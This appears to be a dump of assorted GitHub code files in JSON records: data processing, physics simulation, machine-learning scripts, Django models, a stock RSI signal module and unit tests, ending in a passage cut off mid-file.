+{"seq_id":"15857313924","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 13 02:01:47 2021\n\n@author: Rubyxu\n\"\"\"\n\nimport pandas as pd\n\ndata = pd.read_csv('temp.csv')\n#data_f = data[data.Education]\n\n\ndata_new = data.copy()\ndata_new = data_new[data_new.Gender=='Male'].reset_index()\ndata_new['All Gender']=0\nfor year in range(2008,2015):\n    data_year = data[data.Year==year]\n    data_year['All Gender'] = 0\n    data_year_m = data_year[data_year.Gender=='Male'].reset_index()\n    data_year_f = data_year[data_year.Gender=='Female'].reset_index()\n\n    for i in range(len(data_year_m)): \n        ind = (year-2008)*len(data_year_m)\n        data_new['All Gender'][i+ind] = data_year_m['Population'][i]+data_year_f['Population'][i]\n    \n    data_new = data_new[['Year', 'Education', 'Income','All Gender']]\n\ndata_new['ratio'] = 0\nIncome = ['No Income','[5k,10k)','[10k,15k)','[15k,25k)','[25k,35k)','[35k,50k)','[50k,75k)','[75k,inf)']\n\nfor year in range(2008,2015):\n    temp_year =  data_new[data_new['Year']==year]\n    for income in Income:\n        temp = temp_year[temp_year['Income']==income]\n        ratio =  temp['All Gender']/sum(temp['All Gender'])\n        for index in temp['All Gender'].index:\n            data_new.iloc[index,-1] =  ratio[index]\n            \n\noutput = []\n\n\nfor i in range(len(data_new)):\n    data_one = data_new.iloc[i]\n    output_one = {}\n    for j in range(len(data_one)):\n        key = data_one.index[j]\n        value = data_one[j]\n        output_one[key] = value\n    output.append(output_one)\n    \nwith open('data.txt','w') as f:\n    f.write(str(output))\n\n\n\n\n\n\n\n\n\n","repo_name":"junyi-yao/5702-Final-Project","sub_path":"data_generate.py","file_name":"data_generate.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13167983733","text":"#!/bin/env python3\n\n# 2D FDTD without PML\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nc  = 3E8      # speed of light in meters per second^2\n\ndef FDTD2D(media,pulse,Nt):\n    \"\"\"\n        FDTD2D takes a Media object, Pulse object, and the number of timesteps.\n        Using the Finite Difference Time Domain method, it propagates the\n        electric and magnetic fields forward in time.\n\n        Returns:\n            Ez - electric field in the z direction as a function of time and space\n            Dz - electric flux in the z direction as a function of time and space\n            Hx - magnetic field in the x direction as a function of time and space\n            Hy - magnetic field in the y direction as a function of time and space\n    \"\"\"\n\n    Ny, Nx = media.shape\n    dx     = media.dx\n    dt     = media.dt\n\n\n    times = np.arange(0,Nt*dt,dt)\n\n    # all arrays are indexed as [ti,yi,xi] (unless there is no t component, in which case they are indexed as [yi,xi])\n    Dz  = np.zeros((Nt,Ny,Nx)) # flux density\n    Ez  = np.zeros((Nt,Ny,Nx)) # electric field\n    Hx  = np.zeros((Nt,Ny,Nx)) # magnetic field\n    Hy  = np.zeros((Nt,Ny,Nx)) # magnetic field\n    Iz  = np.zeros((Nt,Ny,Nx)) # integral of Ez\n\n    # read in the coefficient arrays for the media\n    if np.isscalar(media.Gaz) and np.isscalar(media.Gbz):\n        Gaz = media.Gaz*np.ones((Ny,Nx))\n        Gbz = media.Gbz*np.ones((Ny,Nx))\n    else:\n        Gaz = media.Gaz\n        Gbz = media.Gbz\n\n    # get the pulse and save it\n    Pz = pulse.getPulse(times)\n\n    # FDTD loop\n    for ti, t in enumerate(times):\n        if ti == 0: continue\n        # I use a numpy trick here to do h[ti][yi][xi-1], by using np.roll\n        # axis = 0 corresponds to the y axis and axis = 1 corresponds to the x axis\n\n        # calculate flux density                                                                               # add pulse #\n        Dz[ti] = Dz[ti-1]+0.5*(Hy[ti-1] - np.roll(Hy[ti-1],-1,axis=1) - Hx[ti-1] + np.roll(Hx[ti-1],-1,axis=0)) + Pz[ti]\n\n        # calculate electric field\n        Ez[ti] = Gaz*(Dz[ti]-Iz[ti-1])\n\n        # calculate integral of Ez\n        Iz[ti] = Iz[ti-1] + Gbz*Ez[ti]\n\n        # calculate magnetic field\n        Hx[ti] = Hx[ti-1] + 0.5*(Ez[ti] - np.roll(Ez[ti],1,axis=0))\n        Hy[ti] = Hy[ti-1] + 0.5*(np.roll(Ez[ti],1,axis=1) - Ez[ti])\n\n    # return arrays\n    return Ez, Dz, Hx, Hy\n\nclass Media:\n    \"\"\"\n        The Media class stores the Gaz and Gbz coefficient\n        arrays for the media, which are calculated from\n        spacially dependent epsilon_r (relative permittivity) and\n        sigma (conductivity) coefficients. It also stores\n        the size of the media and the spacings (dx and dt).\n\n        For free space epsilon_r = 1 and sigma = 0.\n\n        The default instance of this class is free space.\n    \"\"\"\n    def __init__(self, Nx, Ny, dx, epsilon_r = 1, sigma = 0):\n\n        epsilon_0 = 8.89E-12 # permittivity of free space\n\n        self.shape = (Nx, Ny) # shape of the media\n        self.dx    = dx       # spacing\n        self.dt    = dx/(2*c) # timestep\n\n        # if epsilon_r and sigma are constant across all space,\n        #   then they need to be made into arrays\n        if np.isscalar(epsilon_r) and np.isscalar(sigma):\n             epsilon_r = epsilon_r*np.ones((Ny,Nx))\n             sigma   = sigma*np.ones((Ny,Nx))\n\n        # if only epsilon_r is constant across space,\n        #   then it will be made into an array with the\n        #   same shape as sigma\n        elif np.isscalar(epsilon_r):\n            assert(sigma.shape==(Ny,Nx))\n            epsilon_r = epsilon_r*np.ones(sigma.shape)\n\n        # if only sigma is constant across space,\n        #   then it will be made into an array with the\n        #   same shape as epsilon_r\n        elif np.isscalar(sigma):\n            assert(epsilon_r.shape==(Ny,Nx))\n            sigma = sigma*np.ones(epsilon_r.shape)\n\n        # if both epsilon_r and sigma are spacially dependent\n        #   then Gaz and Gbz can immediately be calculated\n        else:\n            assert(sigma.shape   == (Ny,Nx))\n            assert(epsilon_r.shape == (Ny,Nx))\n\n        self.Gaz = 1/(epsilon_r+(sigma*self.dt/epsilon_0))\n        self.Gbz = sigma*self.dt/epsilon_0\n\nclass Pulse:\n    \"\"\"\n        The Pulse class defines a pulse to set as the electric flux in the simulation.\n        It creates a 2D gaussian pulse in both time and space\n        It is definted by:\n            center          - where the pulse will be centered in space, (x0,y0)\n            radial_center   - where the pulse will peak radially from the center\n                                for example:\n                                radial_center = 0:          radial_center > 0:\n\n                                --------                    --------\n                                --------                    --XXXX--\n                                ---XX---                    --X--X--\n                                ---XX---                    --X--X--\n                                --------                    --XXXX--\n                                --------                    --------\n\n            spacial_spread  - the standard deviation of the gaussian in space\n\n            temporal_center - where the peak of the pulse will be in time\n\n            temporal_spread - the standard deviation of the gaussian in time\n\n    \"\"\"\n    def __init__(self, media, center, radial_center, spacial_spread, temporal_center, temporal_spread):\n\n        self.temporal_center = temporal_center\n        self.temporal_spread = temporal_spread\n\n        Ny, Nx = media.shape\n        dx     = media.dx\n        x0, y0 = center\n\n        x, y    = np.meshgrid(np.linspace(-Nx/2,Nx/2,Nx)*dx, np.linspace(-Ny/2,Ny/2,Ny)*dx)\n        d       = np.sqrt((x-x0)**2+(y-y0)**2)\n        self.g_space = np.exp(-( (( d - radial_center )**2) / ( 2.0 * spacial_spread**2 ) ) )\n\n    def getPulse(self, times):\n        \"\"\"\n            The getPulse method generates the pulse at the supplied times.\n        \"\"\"\n\n        g_time = np.exp(-(times-self.temporal_center)**2 / (2 * self.temporal_spread**2) )\n\n        return (g_time*(self.g_space*np.ones((g_time.size,self.g_space.shape[0],self.g_space.shape[1]))).T).T\n\n\ndef Animate(F):\n    \"\"\"\n        Animate will animate the propagation of a given field\n    \"\"\"\n\n    Nt, Ny, Nx = F.shape\n\n    X = np.arange(Nx)\n    Y = np.arange(Ny)\n\n    X,Y = np.meshgrid(X,Y)\n\n    fig = plt.figure()\n    ax = fig.gca(projection='3d')\n    ax.set_zlim(-5,5)\n\n    for ti in range(Nt):\n        if ti > 0:\n            plot.remove()\n        plot = ax.plot_surface(X,Y,F[ti],cmap=\"viridis\")\n        plt.draw()\n        plt.pause(0.001)\n\n################################################################################\n\nmedia = Media(200,200,0.1)\npulse = Pulse(media, (0,-25*media.dx), 30*media.dx, 10*media.dx, 10*media.dt, 2*media.dt)\nEz, Dz, Hx, Hy = FDTD2D(media, pulse, 200)\nAnimate(Ez)\n\n","repo_name":"pdcook/FDTD","sub_path":"2D-FDTD.py","file_name":"2D-FDTD.py","file_ext":"py","file_size_in_byte":6960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29254692147","text":"from maps.geoq.hypotheses.entrance.lib import comments\n\n\ndef test_sensitive_info_filter_positives():\n    raw_telephone_comments = [\n        '+7(999)999-99-99',\n        '+7 (123) 321-21-12',\n        '+71233212112',\n        '79039039393'\n    ]\n\n    raw_doorcode_comments = [\n        'пароль  123к123',\n        'домофон 31#13',\n        'код    31к13',\n        '31к13',\n    ]\n\n    flat_number_comments = [\n        'квартира  123',\n        'кв 321',\n        'кв231',\n    ]\n\n    test_cases = raw_telephone_comments + raw_doorcode_comments + flat_number_comments\n\n    for test_case in test_cases:\n        assert comments.sensitive_info_filter(test_case) == comments.FILTERED_TOKEN\n\n\ndef test_sensitive_info_filter_negatives():\n    test_cases = [\n        'далеко, далеко на лугу пасутся к',\n        'Упакуйте мне пожалуйста 999 салфеток и все это доставьте в дом 123',\n        'Ситибанк',\n        'подойдите к двери'\n    ]\n\n    for test_case in test_cases:\n        assert comments.sensitive_info_filter(test_case) == test_case\n\n\ndef test_process_comment():\n    unrelated_comments = [\n        'Доставьте пожалуйста заказ ngng@',\n        'Мне кажется, вы всегда меня обкрадываете!',\n        'Положите уже нормальное количество лука , я всё измерял!!!!ГОСТ нарушен на 20 граммов ,я подам в суд!',\n        'договор'\n    ]\n\n    related_comments = [\n        'Зайдите во двор, у двери',\n        'Комментарий к заказу:\\r\\nМежду двумя большими красными зданиями.',\n        'напротив\\n\\n\\n\\n\\nмоста'\n    ]\n\n    test_cases = unrelated_comments + related_comments\n\n    targets = [\n        None\n        for i in range(len(unrelated_comments))\n    ] + related_comments\n\n    for test_case, target in zip(test_cases, targets):\n        assert comments.process_comment(test_case) == target\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_comments.py","file_name":"test_comments.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38313221418","text":"import time\nfrom Pyro5.api import expose, locate_ns, Daemon, config\n\n\n@expose\nclass TimeoutServer(object):\n    def delay(self, amount):\n        print(\"sleeping %d\" % amount)\n        time.sleep(amount)\n        print(\"done.\")\n        return \"slept %d seconds\" % amount\n\n\nconfig.COMMTIMEOUT = 0  # the server won't be using timeouts\n\nns = locate_ns()\ndaemon = Daemon()\ndaemon2 = Daemon()\nobj = TimeoutServer()\nobj2 = TimeoutServer()\nuri = daemon.register(obj)\nuri2 = daemon2.register(obj2)\nns.register(\"example.timeout\", uri)\nns.register(\"example.timeout.frozendaemon\", uri2)\nprint(\"Server ready.\")\n# Note that we're only starting one of the 2 daemons.\n# daemon2 is not started, to simulate connection timeouts.\ndaemon.requestLoop()\n","repo_name":"irmen/Pyro5","sub_path":"examples/timeout/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":268,"dataset":"github-code","pt":"3"}
+{"seq_id":"74132520401","text":"import sys\r\nimport os\r\nimport glob\r\nimport json\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\n\r\ndataset_path = \"D:/Projects/PanoLayout/LayoutNet/result/sun360_istg_4/\"\r\ngt_dataset_path = \"D:/Projects/PanoLayout/data/\"\r\n\r\nlist_path = 'D:/Projects/PanoLayout/data/val_tmp.txt'\r\n\r\ndef gen_path(root_path, pano_id, file_name):\r\n\r\n    path = root_path\r\n    for x in pano_id:\r\n        path = os.path.join(path, x)\r\n    return os.path.join(path, file_name)\r\n\r\nwith open(list_path) as f:\r\n    id_list = [x.strip().split() for x in f.readlines()]\r\n    \r\n\r\ncor_l2_list = [[],[],[],[]] \r\n#edg_l2_list = []\r\n\r\nfor pano_id in id_list:\r\n\r\n    cor_pred_path = gen_path(dataset_path, pano_id, 'edg.png')\r\n    cor_gt_path = gen_path(gt_dataset_path, pano_id, 'edg_b.png')\r\n\r\n    if not os.path.isfile(cor_pred_path):\r\n        print(cor_pred_path)\r\n        continue\r\n    if not os.path.isfile(cor_gt_path):\r\n        print(cor_gt_path)\r\n        continue\r\n\r\n    with open(gen_path(gt_dataset_path, pano_id, 'label.json')) as f:\r\n        jdata = json.load(f)\r\n        num = jdata['layoutPoints']['num']\r\n\r\n    print(cor_pred_path)\r\n\r\n    cor_pred = Image.open(cor_pred_path)\r\n    cor_pred = np.array(cor_pred, np.float32) / 255\r\n\r\n    cor_gt = Image.open(cor_gt_path)\r\n    cor_gt = np.array(cor_gt, np.float32) / 255\r\n\r\n    cor_l2 = np.sqrt(np.mean(((cor_pred - cor_gt)**2)))\r\n    print(cor_l2)\r\n\r\n    list_id = int((num-4)/2)\r\n    list_id = list_id if list_id <= 3 else 3\r\n    cor_l2_list[list_id].append(cor_l2)\r\n\r\n\r\ncor_l2_all = []\r\n\r\nprint('=============')\r\nfor i in range(4):\r\n    print('{0} num: {1}'.format( (i*2+4) ,len(cor_l2_list[i])))\r\n    print(np.mean(cor_l2_list[i]))\r\n    cor_l2_all += cor_l2_list[i]\r\n    print('-------------------')\r\n\r\nprint('Total:')\r\nprint(np.mean(cor_l2_all))","repo_name":"fuenwang/LED2-Net","sub_path":"LED2Net/DuLaPost/scripts/lnet_2d_eval.py","file_name":"lnet_2d_eval.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"3"}
+{"seq_id":"3708440029","text":"\"\"\"\r\nECUtm: Error Catch Unit (Temperature)\r\n====================================\r\n\r\nErrors:\r\n------\r\n    `_TemperatureError` : It throws an error because setting a Key\r\n     for a non-existent temperature type.\r\n\r\n    `_UndefinedStateError` : It throws an error because setting a Status\r\n     for a non-existent Temperature transducer type.\r\n\r\n    `_KeyTypeError` : Throws an error because an `Unknown` and `Unprocessable`\r\n         key type is being used\r\n\r\n    `_InstabilityError` : Throws an error because the length of the `Keychain`\r\n         is not equal to the length of the `Temperature` string\r\n\"\"\"\r\n\r\nclass _TemperatureError(Exception):\r\n    \"\"\"\r\n    It throws an error because setting a `Key`\r\n     for a `non-existent` temperature type.\r\n    \"\"\"\r\n\r\n    def __init__(self, key, message=\"Temperature key is not existing :: Unexisting Key ->  \"):\r\n        self.message = message\r\n        self.__key = key\r\n        super().__init__(self.message + str(self.__key))\r\n\r\n\r\nclass _UndefinedStateError(Exception):\r\n    \"\"\"\r\n    It throws an error because setting a `Status`\r\n     for a `non-existent` Temperature transducer type.\r\n    \"\"\"\r\n\r\n    def __init__(self, state, message= \"Status name is not available :: Unavailable Status -> \"):\r\n        self.message = message\r\n        self.__state = state\r\n        super().__init__(self.message + str(self.__state))\r\n\r\n\r\nclass _KeyTypeError(Exception):\r\n    \"\"\"\r\n        Throws an error because an `Unknown` and `Unprocessable`\r\n         key type is being used\r\n    \"\"\"\r\n\r\n    def __init__(self, *args, message= \"Key input type is must be a string or list of strings :: Unallowed Type -> \"):\r\n        self.message = message\r\n        self.__key = args\r\n        super().__init__(self.message + str(self.__key))\r\n\r\n\r\nclass _InstabilityError(Exception):\r\n    \"\"\"\r\n        Throws an error because the length of the `Keychain`\r\n         is not equal to the length of the `Temperature` string\r\n    \"\"\"\r\n\r\n    def __init__(self, *args, message= \"The length of the temperature list is not equal to the length of the keys list :: number of items -> \"):\r\n        self.message = message\r\n        self.__key = args\r\n        super().__init__(self.message + str(self.__key))\r\n\r\n","repo_name":"MASTAR-LAST/Science","sub_path":"src/core/thermodynamics/errors/ECUtm.py","file_name":"ECUtm.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"35867478717","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Oct. 7, 2019 \n\n@author: Brice Loose\n\nScript for LSTM fit to SWIMS data.\n\nRef:  Loose et al., (2020), Instrument bias correction with machine learning \nalgorithms: Application to field-portable mass spectrometry, Frontiers in\nGeoscience, DOI: ??\n\nCode uses concepts and algorithms from Jason Brownlee books and blogs, \nspecifically how to construct a multi-step LSTM.\nhttps://machinelearningmastery.com\n\n. \n#\n# DISCLAIMER:\n#    This is provided \"as is\" without warranty of any kind.  \n#=========================================================================\n\n\"\"\"\n\n\n## Import Libraries ##\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\n# multivariate multi-step encoder-decoder lstm\nfrom numpy import split\nfrom numpy import array\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import RepeatVector\nfrom keras.layers import TimeDistributed\nfrom keras.layers import Dropout\n\n\n \n# split a univariate dataset into train/test sets\ndef split_dataset(data,n_input):\n\t# split into standard weeks\n\ttrain, test = data[0:-n_input*2], data[-n_input*2:]\n\t# restructure into windows of weekly data\n\ttrain = array(split(train, len(train)/n_input))\n\ttest = array(split(test, len(test)/n_input))\n\treturn train, test\n \n\n# convert history into inputs and outputs\ndef to_supervised(train, n_input, n_out=100):\n\t# flatten data\n\tdata = train.reshape((train.shape[0]*train.shape[1], train.shape[2]))\n\tX, y = list(), list()\n\tin_start = 0\n\t# step over the entire history one time step at a time\n\tfor _ in range(len(data)):\n\t\t# define the end of the input sequence\n\t\tin_end = in_start + n_input\n\t\t#out_end = in_end + n_out\n\t\t# ensure we have enough data for this instance\n\t\tif in_end <= len(data)-1:\n\t\t\tX.append(data[in_start:in_end, 0:])\n\t\t\ty.append(data[in_start:in_end, -1])\n            \n\t\t# move along one time step\n\t\tin_start += 1\n\treturn array(X), array(y)\n \n\n\n# Set pre-determined values of hyperparameters\nverbose, epochs, batch_size = 1, 20, 80\nn_input = 100\n# Index for the target data (O2)\ntarget = 64\n# Indices for the environmental covariates.\nidx = [62,5,36,28,57,3,64]\n\n\n#%%  TRAINING STEP HERE\n\n# Laad the file\nms = pd.read_csv(r'Insitu_cal.csv',header='infer',index_col=0);\nhdrs = ms.columns.values\n\n# Clean up nans and missing data\nX = ms[hdrs[idx]].interpolate(method='linear', order=1, limit_direction='both')\ny15 = ms[hdrs[target]]\n\nX_train = X\ny_train = y15\n\n\n# Standardize the environmental covariates to ensure equal weighting.\nXf = X.values\nXf_mean = Xf.mean(axis=0)\nXf_std = Xf.std(axis=0)\nx = (Xf-Xf_mean)/Xf_std\n\n#shorten dataset to split into pieces\nx = x[0:len(Xf)-np.mod(len(Xf),n_input)]\n\ntrain, test = split_dataset(x,n_input)\ntest_x, test_y = to_supervised(test, n_input)\ntrain_x, train_y = to_supervised(train, n_input)\n\n# Extract tensor dimensions\nn_timesteps, n_features, n_outputs = train_x.shape[1], train_x.shape[2], train_y.shape[1]\n\t# reshape output into [samples, timesteps, features]\ntrain_y = train_y.reshape((train_y.shape[0], train_y.shape[1], 1))\n\ntest_y = test_y.reshape((test_y.shape[0], test_y.shape[1], 1))\n\n\t# define model\nmodel = Sequential()\nmodel.add(LSTM(50, activation='tanh', input_shape=(n_timesteps, n_features)))\nmodel.add(RepeatVector(n_outputs))\nmodel.add(Dropout(0.4))\nmodel.add(LSTM(50, activation='tanh', return_sequences=True))\nmodel.add(TimeDistributed(Dense(20, activation='relu')))\nmodel.add(TimeDistributed(Dense(1)))\nmodel.compile(loss='mse', optimizer='adam')\n\n\n\t# fit network\nresult = model.fit(train_x, train_y, epochs=epochs, batch_size=batch_size, verbose=verbose,\n   validation_data=(test_x, test_y))\nmodel15=model\n\ntrain_x, train_y = to_supervised(train, n_input)\n\n\n#  Get reconstructed target data\nyhat = model15.predict(train_x,verbose=1)\n#  Undo standardization.\nmz = yhat*Xf_std[-1]+Xf_mean[-1]\n\n#%%\n###------------- NNLS optimization function for calib --------------- #####\nfrom scipy.optimize import minimize\ndef optocf(x0,ytrain,yp,o2):\n    import Solubility as s\n    import numpy as np\n    den = (np.mean(ytrain-x0))\n    CF = 210.68/den\n    yrect = (yp + x0)*CF\n    \n    return np.mean(np.abs(o2 - yrect))\n\n# Make data set with progressive change in CF to cover changes in the calibration     \ny = y15; lstm = model15\n\n\nMA = pd.read_csv(r'SWIMS_Lat36_38.csv',header='infer',index_col=0); hdrs = MA.columns.values\n    \n    \n#%%     PREDICTION STEP HERE\n\n\nX = MA[hdrs[idx]].interpolate(method='linear', order=1, limit_direction='both')\n\n# Standardize the environmental covariates to ensure equal weighting.\nXf = X.values\nXf_mean = Xf.mean(axis=0)\nXf_std = Xf.std(axis=0)\nx = (Xf-Xf_mean)/Xf_std\n\npad = n_input-np.mod(len(x),n_input)\nx = np.append(x,np.ones([pad+n_input,len(idx)]),axis=0)\n\ntrane = array(split(x, len(x)/n_input))\ntrane_x, trane_y = to_supervised(trane, n_input)\n\n\n# Apply LSTM model to predict bias signal in SWIMS data\nyhat = lstm.predict(trane_x,verbose=1)\n\n\n# Reconstruct target data using standard normal\nyr = pd.DataFrame(yhat[0:-pad-1,1,:])*MA[hdrs[target]].std()+MA[hdrs[target]].mean()\n\n        \n# Merge reconstructed target with the rest of the data      \nMA = pd.concat([MA,yr],axis=1).dropna(how='any')\n\n\n####  Calibration step.  ################\n### Non-linear optimization to find best fit to SBE oxygen data #\n## See Section 2.3 on calibration after bias removal ### \nt = minimize(optocf,1e-15,args=(y,MA[hdrs[target]]-MA[0],MA[hdrs[8]]),\n             method='Nelder-Mead',tol=1e-13)\n\n# This is y-intercept in calib.\nic = t.x\n\n# Equil. solubility at S=35.5 and T =23 C.\ncf = 210.68/np.mean(y-ic)\n\n\nyraw = yr; yraw.rename(columns={0:'yraw'},inplace=True)\n\n# Apply calibration\nyrect = pd.DataFrame((MA[hdrs[target]]-yr.iloc[:,0]+ic)*cf,columns={'yrect'})\n\n# Merge with the rest of the dataframe\nYp = pd.concat([MA,yraw,yrect],axis=1)\n    \n\n#%%  Plotting section\n\nmse = np.round(np.sqrt(np.nansum((Yp['yrect'] - Yp[hdrs[8]])**2)/len(Yp[hdrs[8]])),3)\n\n\nf,ax = plt.subplots(1,1)\nax.plot(Yp['yrect'],'r',label='SWIMS')\nax.plot(Yp[hdrs[8]],'g',label='SBE35DO')\nax.legend()\nax.set_ylim(100,300)\nax.set_title('RMSE='+mse.astype(str))\nplt.show()\n\n\nplt.figure()\nplt.plot(result.history['loss'],label='loss')\nplt.plot(result.history['val_loss'],label='valid_loss')\nplt.xlabel('epoch');\nplt.legend()\nplt.show()\n    \n","repo_name":"bloose/bias_correction_by_ML","sub_path":"notebooks/SWIMS_LSTM_out.py","file_name":"SWIMS_LSTM_out.py","file_ext":"py","file_size_in_byte":6354,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"26115478372","text":"\r\n#Check Whether a Given Number is an Armstrong Number or Not\r\ndef check_armstrong(a):\r\n      temp=0\r\n      for i in range(len(a)):\r\n            temp=temp+int(a[i])**3\r\n      print(temp)\r\n      if temp==int(a):\r\n            print(\"YES ARMSTRONG\")\r\n      else:\r\n            print(\"NOT ARMSTRONG\")\r\n\r\n      \r\n\r\n\r\n\r\na=input()\r\ncheck_armstrong(a)","repo_name":"Shreerup07/PYTHON-PROBLEMS","sub_path":"TCS 100 questions/Armstrongnumber.py","file_name":"Armstrongnumber.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72272090962","text":"from django.db import models\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.template.defaultfilters import filesizeformat\nimport Bio.Phylo as bp\nfrom phylocommons import settings\nimport os\n\n\n# Create your models here.\n\nclass TreeSubmission(models.Model):\n    tree_file = models.FileField(\n        upload_to=os.path.join(settings.MEDIA_ROOT),\n    )\n    \n    tree_id = models.CharField(max_length=100)\n    \n    format_choices = sorted(bp._io.supported_formats.keys())\n    format_choices = [(x,x) for x in format_choices]\n    format = models.CharField(choices=format_choices, default='newick',\n                              max_length=20)\n    \n    uploaded_by = models.ForeignKey(User, related_name='uploaded_by')\n    upload_time = models.DateTimeField(auto_now_add=True)\n\n    doi = models.CharField(max_length=100)\n    \n    def tree_file_name(self):\n        return os.path.split(self.tree_file.name)[1]\n        \n    def tree_file_size(self):\n        return filesizeformat(self.tree_file.size)\n    \n    \nclass TreeSubmissionJob(models.Model):\n    user = models.ForeignKey(User, related_name='user')\n    start_time = models.DateTimeField(auto_now_add=True)\n    submission = models.ForeignKey(TreeSubmission, related_name='submission')\n    status = models.TextField(default='Pending')\n","repo_name":"NESCent/phylocommons","sub_path":"treeupload/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"72016850961","text":"class CNN(nn.Module):\n    def __init__(self, inChannels=3, chunkSizeX = 64,chunkSizeY = 64):\n        super(CNN, self).__init__()\n        self.chunkSizeX = chunkSizeX\n        self.chunkSizeY = chunkSizeY\n        self.intermediateSize = 1024\n        self.transfer = nn.Sigmoid()\n        self.encoder = nn.Sequential(\n            nn.Linear(in_features=3*chunkSizeX*chunkSizeY, out_features=self.intermediateSize),\n            nn.ReLU(),\n        )                \n        self.flatten = nn.Flatten()  \n        self.unflatten  = nn.Unflatten(1, (3,chunkSizeY,chunkSizeX))\n\n        self.decoder = nn.Sequential(\n            nn.Linear(in_features=self.intermediateSize, out_features=3*chunkSizeX*chunkSizeY),\n            self.transfer,\n        )\n    \n    def forward(self, x):\n        out = self.flatten(x)\n        out = self.encoder(out)\n        out = self.decoder(out)\n        out = self.unflatten(out)\n        return out\n","repo_name":"hozgur/MyEngine","sub_path":"projects/python/graphics/model1.py","file_name":"model1.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33730063903","text":"\nfrom src.signal.Signal import Signal\n\ndef rsi_average(prices, num_periods):\n    exp_averages = [None] * (num_periods - 1)\n    total_init_price = sum(prices[i] for i in xrange(num_periods))\n    init_price = total_init_price / num_periods\n    exp_averages.append(init_price)\n    prices_len = len(prices)\n    for i in xrange(num_periods, prices_len):\n        last_exp_avg = exp_averages[i - 1]\n        next_exp_total = last_exp_avg * (num_periods - 1) + prices[i]\n        next_exp_avg = next_exp_total / num_periods\n        exp_averages.append(next_exp_avg)\n    return exp_averages\n\n\ndef compute_rsis(prices, num_periods):\n    pos_changes = []\n    neg_changes = []\n    prices_len = len(prices)\n    for i in xrange(1, prices_len):\n        next_change = prices[i] - prices[i - 1]\n        pos_changes.append(max(next_change, 0))\n        neg_changes.append(abs(min(next_change, 0)))\n    pos_averages = rsi_average(pos_changes, num_periods)\n    neg_averages = rsi_average(neg_changes, num_periods)\n    rsi_values = [None]\n    for i in xrange(1, prices_len):\n        if pos_averages[i - 1] is None or neg_averages[i - 1] is None:\n            rsi_values.append(None)\n            continue\n        rs_value = pos_averages[i - 1] / neg_averages[i - 1]\n        rsi_value = 100.0 - (100.0 / (1.0 + rs_value))\n        rsi_values.append(rsi_value)\n    return rsi_values\n\n\ndef fetch_rsi_crossovers(symbol, allPrices, allDates, num_periods):\n    rsis = compute_rsis(allPrices, num_periods)\n    firstIndex = 0\n    signals = []\n    rsis_len = len(rsis)\n    for i in xrange(rsis_len):\n        if rsis[i] is not None:\n            firstIndex = i\n            break\n    for i in xrange(firstIndex + 1, rsis_len):\n        if rsis[i - 1] <= 20 and rsis[i] > 20:\n            nSig = Signal(symbol, allDates[i], allPrices[i],\n                          True, \"RSI Crossover\")\n            signals.append(nSig)\n        elif rsis[i - 1] >= 80 and rsis[i] < 80:\n            nSig = Signal(symbol, allDates[i], allPrices[i],\n                          False, \"RSI Crossover\")\n            signals.append(nSig)\n    return signals\n\n\n    ","repo_name":"achernet/stockanalyzer","sub_path":"src/algorithm/RSI.py","file_name":"RSI.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"29031890207","text":"\nfrom mock import Mock, patch\n\nfrom wiki.pages.logic import owner as owner_logic\nfrom intranet.wiki.tests.wiki_tests.common.base_testcase import BaseTestCase\n\n\n@patch('wiki.pages.logic.owner.signals.access_changed', Mock())\nclass OwnerLogicTest(BaseTestCase):\n    def setUp(self):\n        self.volozh = self.get_or_create_user('volozh')\n        self.thasonic = self.get_or_create_user('thasonic')\n\n        self.root = self.create_page(supertag='root', tag='root', owner=self.volozh)\n        self.one = self.create_page(supertag='root/one', tag='root/one', owner=self.thasonic)\n        self.two = self.create_page(supertag='root/two', tag='root/two', owner=self.volozh)\n\n    def test_change_owner_for_page(self):\n        owner_logic.change_owner_for_page(\n            page=self.one,\n            user=self.thasonic,\n            new_owner=self.volozh,\n        )\n\n        page = self.refresh_objects(self.one)\n        self.assertEqual(page.owner, self.volozh)\n\n    def test_change_owner_for_cluster_by_root_owner(self):\n        owner_logic.change_owner_for_cluster(\n            root=self.root,\n            user=self.volozh,\n            new_owner=self.thasonic,\n        )\n\n        root, one, two = self.refresh_objects(self.root, self.one, self.two)\n        self.assertEqual(root.owner, self.thasonic)\n        self.assertEqual(one.owner, self.thasonic)\n        self.assertEqual(two.owner, self.thasonic)\n\n    def test_change_owner_for_cluster_by_somebody(self):\n        owner_logic.change_owner_for_cluster(\n            root=self.root,\n            user=self.thasonic,\n            new_owner=self.volozh,\n        )\n\n        root, one, 